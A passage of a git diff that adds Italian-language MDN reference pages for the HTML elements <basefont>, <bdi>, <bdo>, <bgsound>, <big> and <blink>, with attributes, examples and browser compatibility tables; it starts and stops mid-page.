+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata#the-base-element', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.4', '&lt;base&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Notare che HTML 2.0 e 3.2 definiscono solo l'attributo <code>href</code>.</p>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Note">Note</h2>
+
+<ul>
+ <li>Il supporto per gli URL relativi è stato aggiunto in Gecko 2.0 (Firefox 4.0).</li>
+ <li>Nelle versione precedenti a Internet Explorer 7, il tag <code>&lt;base&gt;</code> poteva essere posizionato ovunque nel documento e veniva considerato il più vicino.</li>
+ <li>In Internet Explorer 8, è stato rimosso il supporto agli URL relativi.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/basefont/index.html b/files/it/web/html/element/basefont/index.html
new file mode 100644
index 0000000000..d6a0af0995
--- /dev/null
+++ b/files/it/web/html/element/basefont/index.html
@@ -0,0 +1,103 @@
+---
+title: <basefont>
+slug: Web/HTML/Element/basefont
+translation_of: Web/HTML/Element/basefont
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code>&lt;basefont&gt;</code> definisce lo stile predefinito del testo di un documento. Questo stile può essere modificato usando gli elementi {{HTMLElement("font")}}.</p>
+
+<div class="note">
+<p><strong><em>Note:</em></strong></p>
+
+<ul>
+ <li><strong>Non usare questo elemento!</strong> Anche se definito (più o meno) in HTML 3.2, non è supportato nella maggior parte dei browser. Inoltre non è mai stato implementato nello stesso modo: usarlo ha sempre portato a risultati inaspettati.</li>
+ <li>L'elemento <code>&lt;basefont&gt;</code> è deprecato da quando sono deprecati tutti gli altri elementi riguardanti lo stile (quindi a partire da HTML 4). In HTML 5 è stato rimosso completamente. È quindi consigliato definire lo stile usando solo il <a href="/it/docs/CSS">CSS</a> (nello specifico le proprietà CSS Fonts)</li>
+</ul>
+</div>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento supporta gli <a href="/it/docs/HTML/Global_attributes">attributi globali</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("color")}}</dt>
+ <dd>Questo attributo imposta il colore del testo usando il nome di un colore o un colore specificato usando il formato <code>#RRGGBB</code>.</dd>
+ <dt>{{htmlattrdef("face")}}</dt>
+ <dd>Questo attributo contiene una lista di nomi di font. Il testo del documento viene mostrato usando il primo colore della lista, se disponibile, altimenti il secondo, e così via. Se nessuno dei font indicati è disponibile, viene usato il font predefinito del browser.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>Questo attributo specifica la dimensione, come valore numerico o relativo, del testo. I valori numerici possono variare da 1 (il più piccolo) a 7 (il più grande); il valore predefinito è 3.</dd>
+</dl>
+
+<h2 id="Interfaccia_DOM">Interfaccia DOM</h2>
+
+<p>Questo elemento implementa l'interfaccia {{domxref("HTMLBaseFontElement")}}.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre>&lt;basefont color="#FF0000" face="Helvetica" size="+2" /&gt;
+</pre>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Note">Note</h2>
+
+<ul>
+ <li>HTML 3.2 supporta solo l'attributo <code>size</code>.</li>
+ <li>Questo elemento non è permesso dalle specifiche HTML strict e XHTML.</li>
+ <li>Nonostante sia parte degli standard <em>transitional</em>, alcuni browser focalizzati sugli standard come Mozilla e Opera non supportano questo elemento.</li>
+ <li>Questo elemento può essere imitato utilizzando le proprietà css applicate all'elemento {{HTMLElement("body")}}.</li>
+ <li>XHTML 1.0 richiede una barra al fondo di questo elemento: <code>&lt;basefont /&gt;</code>.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/bdi/index.html b/files/it/web/html/element/bdi/index.html
new file mode 100644
index 0000000000..340a68665c
--- /dev/null
+++ b/files/it/web/html/element/bdi/index.html
@@ -0,0 +1,116 @@
+---
+title: <bdi>
+slug: Web/HTML/Element/bdi
+translation_of: Web/HTML/Element/bdi
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code>&lt;bdi&gt;</code> (o elemento <em>Bi-Directional Isolation</em>) isola del testo che potrebbe essere formattato in una direzione differente da quello che lo circonda.</p>
+
+<p>Questo elemento è utile quando si incorpora del testo del quale non si conosce la direzione, ad esempio da un database.</p>
+
+<p>Anche se lo stesso effetto visuale può essere uttenuto usando la regola CSS {{cssxref("unicode-bidi")}}<code>: isolate</code> applicata a un elemento {{HTMLElement("span")}} o ad un altro elemento relativo alla formattazione del testo, solo l'elemento <code>&lt;bdi&gt;</code> ha significato semantico. Inoltre, i browser possono ignorare il CSS: il testo verrebbe visualizzato correttamente solo utilizzando questo tag.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categoria</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuto di flusso</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">contenuto testuale</a>, contenuto palpabile.</li>
+ <li><dfn>Contenuto permesso</dfn><a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Flow_content">Contenuto testuale</a>.</li>
+ <li><dfn>Omissione del tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn> Qualsiasi elemento che accetta <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Flow_content">contenuto testuale</a>.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento supporta gli <a href="/it/docs/HTML/Global_attributes">attributi globali</a>, con una piccola differenza: l'attributo <code>dir</code> non viene ereditato. Se non impostato, il suo valore predefinito è <code>auto</code>, che permette al browser di decidere la direzione del testo basandosi sul contenuto dell'elemento.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;p dir="ltr"&gt;Questa parola arabica &lt;bdi&gt;PAROLA_ARABICA&lt;/bdi&gt; è automaticamente mostrata da destra verso sinistra.&lt;/p&gt;
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>Questa parola arabica ACIBARA_ALORAP è automaticamente mostrata da destra a sinistra.</p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-bdi-element', '&lt;bdi&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-bdi-element.html#the-bdi-element', '&lt;bdi&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>16</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 dir="ltr" id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>L'elemento {{HTMLElement("bdo")}};</li>
+ <li>Le proprietà CSS {{cssxref("direction")}} e {{cssxref("unicode-bidi")}}.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/bdo/index.html b/files/it/web/html/element/bdo/index.html
new file mode 100644
index 0000000000..336d229c58
--- /dev/null
+++ b/files/it/web/html/element/bdo/index.html
@@ -0,0 +1,128 @@
+---
+title: <bdo>
+slug: Web/HTML/Element/bdo
+translation_of: Web/HTML/Element/bdo
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code>&lt;bdo&gt;</code> (o <em>bidirectional override</em>) viene usato per sovrascrivere la direzione corrente del testo. Viene ignorata la direzione dei caratteri in favore di quella specificata dallo sviluppatore.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categoria</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuto di flusso</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">contenuto testuale</a>, contenuto palpabile.</li>
+ <li><dfn>Contenuto permesso</dfn> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">Contenuto testuale</a>.</li>
+ <li><dfn>Omissione dei tag</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementi genitore permessi</dfn>Qualsiasi elemento che accetta <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">contenuto testuale</a>.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLElement")}}. Fino a Gexko 1.9.2, Firefox implementava l'interfaccia {{domxref("HTMLSpanElement")}}.</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento include gli <a href="/it/docs/HTML/Global_attributes">attributi globali</a>.</p>
+
+<ul>
+ <li><code>ltr</code>: da sinistra a destra;</li>
+ <li><code>rtl</code>: da destra a sinistra;</li>
+ <li><code>auto:</code> il browser decide la direzione del testo in base al contenuto dell'elemento.</li>
+</ul>
+
+<dl>
+ <dt>{{htmlattrdef("dir")}}</dt>
+ <dd>La direzione del testo in questo elemento. Può assumere uno dei seguenti valori:</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: html">&lt;!-- Cambia la direzione del testo --&gt;
+&lt;p&gt;Questo testo va da sinistra verso destra.&lt;/p&gt;
+&lt;p&gt;&lt;bdo dir="rtl"&gt;Questo testo va da destra verso sinistra.&lt;/bdo&gt;&lt;/p&gt;</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>Questo testo va da sinistra verso destra.</p>
+
+<p><bdo>Questo testo va da destra verso sinistra.</bdo></p>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-bdo-element.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'dirlang.html#h-8.2.4', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Note">Note</h2>
+
+<p>L'HTML 4 non specifica nessun evento per questo elemento; sono stati aggiunti nell'XHTML. Probabilmente questa è stata solo una svista.</p>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/bgsound/index.html b/files/it/web/html/element/bgsound/index.html
new file mode 100644
index 0000000000..d5a979a0f0
--- /dev/null
+++ b/files/it/web/html/element/bgsound/index.html
@@ -0,0 +1,101 @@
+---
+title: <bgsound>
+slug: Web/HTML/Element/bgsound
+translation_of: Web/HTML/Element/bgsound
+---
+<div>{{non-standard_header}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code>&lt;bgsound&gt; </code>(o <em>Background Sound</em>) è un elemento introdotto da Internet Explorer che riproduce un audio in sottofondo.</p>
+
+<div class="note">
+<p><strong>Non usarlo!<em> </em></strong>Per incorporare un audio in una pagina web, bosognerebbe usare l'elemento {{HTMLElement("audio")}}.</p>
+</div>
+
+<h2 id="Attributi">Attributi</h2>
+
+<dl>
+ <dt>{{htmlattrdef("balance")}}</dt>
+ <dd>Questo attributo definisce come il volume deve essere diviso tra le casse. Il suo valore può variare da -10,000 (solo la cassa sinistra) a +10,000 (solo la cassa destra).</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Questo attributo indica il numero di volte che l'audio deve essere riprodotto. Il suo valore può essere un numero intero o <code>infinite</code>.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Questo attributo specifica l'URL dell'audio da riprodurre, che deve essere di tipo <code>.wav</code>, <code>.au</code> o <code>.mid</code>.</dd>
+ <dt>{{htmlattrdef("volume")}}</dt>
+ <dd>Questo attributo specifica il volume dell'audio. il suo valore può variare tra -10,000 e 0.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:html">&lt;bgsound src="sound1.mid"&gt;
+
+&lt;bgsound src="sound2.au" loop="infinite"&gt;
+</pre>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Fino a Firefox 22, anche se questo elemento non era supportato, veniva associato all'interfaccia {{domxref("HTMLSpanElement")}}. Questo bug è stato risolto e adesso viene utilizzata l'interfaccia {{domxref("HTMLUnknownElement")}}, come richiesto dalla specifica.</p>
+
+<h2 id="Note">Note</h2>
+
+<ul>
+ <li>In alcune versioni di Netscape, si può ottenere lo stesso effetto usando il tag {{HTMLElement("embed")}}.</li>
+ <li>Non essendo parte di nessuno standard, anche scrivendo questo elemento in un modo simile all'XHTML (<code>&lt;bgsound /&gt;</code>) il codice non sarà valido.</li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>L'elemento {{HTMLElement("audio")}}, che è lo standard per incorporare l'audio in un documento.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/big/index.html b/files/it/web/html/element/big/index.html
new file mode 100644
index 0000000000..65f4db341c
--- /dev/null
+++ b/files/it/web/html/element/big/index.html
@@ -0,0 +1,99 @@
+---
+title: <big>
+slug: Web/HTML/Element/big
+translation_of: Web/HTML/Element/big
+---
+<div>{{obsolete_header}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elementho HTML <code>&lt;big&gt;</code> ingrandisce il testo di un livello (ad esempio, da piccolo a medio, o da grande a molto grande), fino alla dimensione massima permessa dal browser.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Siccome questo elemento è solo stilistico, è stato rimosso in <a href="/it/docs/Web/Guide/HTML/HTML5">HTML5</a> e non dovrebbe essere usato. Gli sviluppatori dovrebbero utilizzare la proprietà CSS {{cssxref("font-size")}}.</p>
+</div>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Questo elemento supporta solo gli <a href="/it/docs/HTML/global_attributes">attributi globali</a>, comuni a tutti gli elementi.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:xml">&lt;p&gt;
+  Questa è la prima frase. &lt;big&gt;Questa è scritta più grande.&lt;/big&gt;
+&lt;/p&gt;</pre>
+
+<p id="Example_2_(CSS_alternative)">Lo stesso effetto può essere ottenuto usando il CSS:</p>
+
+<pre class="brush:xml">&lt;p&gt;
+  Questa è la prima frase. &lt;span style="font-size:1.2em"&gt;Questa è scritta più grande.&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p>Questa è la prima frase. <span style="font-size: 1.2em;">Questa è scritta più grande.</span></p>
+
+<h2 id="Interfaccia_DOM">Interfaccia DOM</h2>
+
+<p>Questo elemento implementa l'interfaccia {{domxref("HTMLElement")}}.</p>
+
+<div class="note"><strong>Nota: </strong>Fino a Gecko 1.9.2, Firefox implementava l'interfaccia {{domxref("HTMLSpanElement")}}.</div>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTMLElement("small")}}, {{HTMLElement("font")}}, {{HTMLElement("style")}}</li>
+ <li>La specifica HTML 4.01: <a class="external" href="http://www.w3.org/TR/html4/present/graphics.html#h-15.2">Font Styles</a></li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/it/web/html/element/blink/index.html b/files/it/web/html/element/blink/index.html
new file mode 100644
index 0000000000..4f243a2e65
--- /dev/null
+++ b/files/it/web/html/element/blink/index.html
@@ -0,0 +1,112 @@
+---
+title: <blink>
+slug: Web/HTML/Element/blink
+translation_of: Web/HTML/Element/blink
+---
+<div>{{Deprecated_header}} {{Non-standard_header}}</div>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code>&lt;blink&gt;</code> rende il testo lampeggiante.</p>
+
+<div class="warning">
+<p class="note"><strong>Attenzione:</strong> Non useare questo elemento, siccome non è standard ed è <strong>deprecato</strong>. Il testo lampeggiante è contro ogni standard di accessibilità, e la specifica CSS permette ai browser di utilizzare la proprietà <code>blink</code>.</p>
+</div>
+
+<h2 id="Interfaccia_DOM">Interfaccia DOM</h2>
+
+<p>Siccome questo elemento non è supportato, deve implementare l'interfaccia {{domxref("HTMLUnknownElement")}}.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:html">&lt;blink&gt;Why would somebody use this?&lt;/blink&gt;
+</pre>
+
+<h3 id="Risultato">Risultato</h3>
+
+<p><img alt="Image:HTMLBlinkElement.gif" src="/@api/deki/files/247/=HTMLBlinkElement.gif"></p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<p>Questo elemento non è standard e non fa parte di nessuna specifica. Se non ci credi, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/obsolete.html#non-conforming-features">cercalo tu stesso nella specifica HTML</a>.</p>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>Fino alla versione {{CompatGeckoDesktop("22.0")}}:<br>
+     {{CompatNo}}</p>
+
+    <p>Supportato dalla versione {{CompatGeckoDesktop("23.0")}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>Fono alla versione 12.1:<br>
+     {{CompatNo}}</p>
+
+    <p>Supportato dalla versione 12.0</p>
+   </td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p style="font-size: 12px; line-height: 18px;">Fino alla versione {{CompatGeckoDesktop("22.0")}}:<br>
+     {{CompatNo}}</p>
+
+    <p style="font-size: 12px; line-height: 18px;">Supportato dalla versione {{CompatGeckoDesktop("23.0")}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p style="font-size: 12px; line-height: 18px;">Fono alla versione 12.1:<br>
+     {{CompatNo}}</p>
+
+    <p style="font-size: 12px; line-height: 18px;">Supportato dalla versione 12.0</p>
+   </td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="http://www.montulli.org/theoriginofthe%3Cblink%3Etag">Storia della creazione dell'elemento <code>&lt;blink&gt;</code></a>.</li>
+ <li>La proprietà CSS {{cssxref("text-decoration")}}, che accetta il valore <code>blink</code> (anche se i browser possono ignorarlo).</li>
+ <li>L'elemento {{htmlelement("marquee")}}, un altro elemento simile e non standard.</li>
+ <li>Le <a href="/it/docs/Web/Guide/CSS/Using_CSS_animations" title="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">animazioni CSS</a>: il metodo standard di ottenere questo effetto.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/it/web/html/element/blockquote/index.html b/files/it/web/html/element/blockquote/index.html
new file mode 100644
index 0000000000..b5600b0747
--- /dev/null
+++ b/files/it/web/html/element/blockquote/index.html
@@ -0,0 +1,130 @@
+---
+title: <blockquote>
+slug: Web/HTML/Element/blockquote
+translation_of: Web/HTML/Element/blockquote
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L'elemento HTML <code><strong>&lt;blockquote&gt;</strong></code> (o <em>Block Quotation</em>) indica che il testo contenuto è una citazione. Solitamente è visualizzato con un'indentazione maggiore del resto del testo. Si può fornire l'URL dal quale è stato citato il testo usando l'attributo {{htmlattrxref("blockquote", "cite")}}, o usando l'elemento {{HTMLElement("cite")}}.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Categoria</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuto di flusso</a>, sezioni, contenuto palpabile.</li>
+ <li><dfn>Contenuto permesso</dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Phrasing_content">Contenuto di flusso</a>.</li>
+ <li><dfn>Omissione dei tag</dfn> {{no_tag_omission}}</li>
